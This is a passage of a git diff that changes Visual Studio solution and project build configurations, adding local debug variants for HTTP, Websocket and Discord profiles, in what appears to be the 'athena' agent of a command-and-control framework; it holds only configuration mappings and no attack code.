{C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Release|Any CPU.ActiveCfg = Release|Any CPU {C85FAD18-C7B4-4C93-8CB9-D91134F29B4C}.Release|Any CPU.Build.0 = Release|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {35EE5851-4FC9-4497-9C14-8092A232A0BC}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Release|Any CPU.ActiveCfg = Release|Any CPU {35EE5851-4FC9-4497-9C14-8092A232A0BC}.Release|Any CPU.Build.0 = Release|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {8B3EA5C9-44CA-4974-A779-377168FA5461}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Release|Any CPU.ActiveCfg = Release|Any CPU {8B3EA5C9-44CA-4974-A779-377168FA5461}.Release|Any CPU.Build.0 = Release|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Debug|Any CPU.Build.0 = Debug|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {540C04B5-3742-4FA9-99FA-887D88E53F30}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Release|Any CPU.ActiveCfg = Release|Any CPU {540C04B5-3742-4FA9-99FA-887D88E53F30}.Release|Any CPU.Build.0 = Release|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Release|Any CPU.ActiveCfg = Release|Any CPU {2AFB02F1-C6DC-4D62-9BD3-DB7C7F98D2D5}.Release|Any CPU.Build.0 = Release|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {009CAE34-7FFD-4A73-9A26-DB340526117C}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Release|Any CPU.ActiveCfg = Release|Any CPU {009CAE34-7FFD-4A73-9A26-DB340526117C}.Release|Any CPU.Build.0 = Release|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Release|Any CPU.ActiveCfg = Release|Any CPU {8CB23EBA-2511-4B93-97D2-03B6D24BD116}.Release|Any CPU.Build.0 = Release|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Debug|Any CPU.Build.0 = Debug|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {48FF4114-48B4-4A07-B47D-1DF7F569E459}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Release|Any CPU.ActiveCfg = Release|Any CPU {48FF4114-48B4-4A07-B47D-1DF7F569E459}.Release|Any CPU.Build.0 = Release|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Debug|Any CPU.Build.0 = Debug|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Release|Any CPU.ActiveCfg = Release|Any CPU {872D5398-81A4-4CC2-AE03-31D6E8DC8150}.Release|Any CPU.Build.0 = Release|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Release|Any CPU.ActiveCfg = Release|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Release|Any CPU.Build.0 = Release|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Release|Any CPU.ActiveCfg = Release|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Release|Any CPU.Build.0 = Release|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Release|Any CPU.ActiveCfg = Release|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Release|Any CPU.Build.0 = Release|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Release|Any CPU.ActiveCfg = Release|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Release|Any CPU.Build.0 = Release|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Release|Any CPU.ActiveCfg = Release|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Release|Any CPU.Build.0 = Release|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Debug|Any CPU.Build.0 = Debug|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Release|Any CPU.ActiveCfg = Release|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Release|Any CPU.Build.0 = Release|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Release|Any CPU.ActiveCfg = Release|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Release|Any CPU.Build.0 = Release|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Release|Any CPU.ActiveCfg = Release|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Release|Any CPU.Build.0 = Release|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Release|Any CPU.ActiveCfg = Release|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Release|Any CPU.Build.0 = Release|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Release|Any CPU.ActiveCfg = Release|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Release|Any CPU.Build.0 = Release|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.ActiveCfg = Release|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.Build.0 = Release|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.Build.0 = Debug|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.ActiveCfg = Release|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.Build.0 = Release|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.ActiveCfg = Release|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.Build.0 = Release|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.ActiveCfg = Release|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection diff --git a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj index 82e6a2e0b..3507a8099 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj @@ -5,6 +5,7 @@ net7.0 enable enable + Debug;Release;LocalDebug @@ -35,7 +36,7 @@ - + CHECKYMANDERDEV @@ -44,7 +45,7 @@ - + diff --git a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj index ab0cd3034..1fc8fabe3 100644 --- a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj +++ b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj @@ -7,6 +7,7 @@ false true + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj index 8f834ade5..5a3a6e55d 100644 --- a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj +++ b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj @@ -6,6 +6,8 @@ enable false + + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/arp/arp.csproj b/Payload_Type/athena/athena/agent_code/arp/arp.csproj index 5c6456086..9a4a7a22d 100644 --- a/Payload_Type/athena/athena/agent_code/arp/arp.csproj +++ b/Payload_Type/athena/athena/agent_code/arp/arp.csproj @@ -4,6 +4,7 @@ net7.0 enable enable + Debug;Release;LocalDebug diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj index 41f2d208b..17835da16 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Linux/Agent.Managers.Linux.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj index 41f2d208b..17835da16 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Reflection/Agent.Managers.Reflection.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj b/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj index 994f0f5ab..0ec0bdaf7 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Agent.Managers.Windows.csproj @@ -5,7 +5,7 @@ enable enable true - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj b/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj index 96bcb2917..b98350ec7 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Models/Agent.Models.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj index 92ceb5d81..8b080a3ca 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.DebugProfile/Agent.Profiles.DebugProfile.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj index 2cdd117bf..74203bf33 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Discord/Agent.Profiles.Discord.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj index 41f2d208b..17835da16 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Http/Agent.Profiles.Http.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj index c0509755a..374a2c0fb 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Smb/Agent.Profiles.Smb.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj index eb7cdca19..9657d094b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent.Profiles.Websocket/Agent.Profiles.Websocket.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Agent.sln b/Payload_Type/athena/athena/agent_code/Agent.sln index a18557ce1..aebd2a71f 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.sln +++ b/Payload_Type/athena/athena/agent_code/Agent.sln @@ -170,464 +170,770 @@ EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU - LocalDebug|Any CPU = LocalDebug|Any CPU + LocalDebugDiscord|Any CPU = LocalDebugDiscord|Any CPU + LocalDebugHttp|Any CPU = LocalDebugHttp|Any CPU + LocalDebugWebsocket|Any CPU = LocalDebugWebsocket|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU - {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Release|Any CPU.ActiveCfg = Release|Any CPU {A26A9943-51E9-4242-94A7-F6E0C4F562BF}.Release|Any CPU.Build.0 = Release|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Debug|Any CPU.Build.0 = Debug|Any CPU - {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {474A77A6-C6BF-4342-8ECE-91A19C259308}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Release|Any CPU.ActiveCfg = Release|Any CPU {474A77A6-C6BF-4342-8ECE-91A19C259308}.Release|Any CPU.Build.0 = Release|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Release|Any CPU.ActiveCfg = Release|Any CPU {C67EEFE5-2275-4E04-81DF-1057A6F71A02}.Release|Any CPU.Build.0 = Release|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Release|Any CPU.ActiveCfg = Release|Any CPU {AF823C1D-9A77-4F20-A4C8-895EC70F3CAE}.Release|Any CPU.Build.0 = Release|Any CPU {B8B92025-13B5-494F-994E-83E8D09F89DC}.Debug|Any 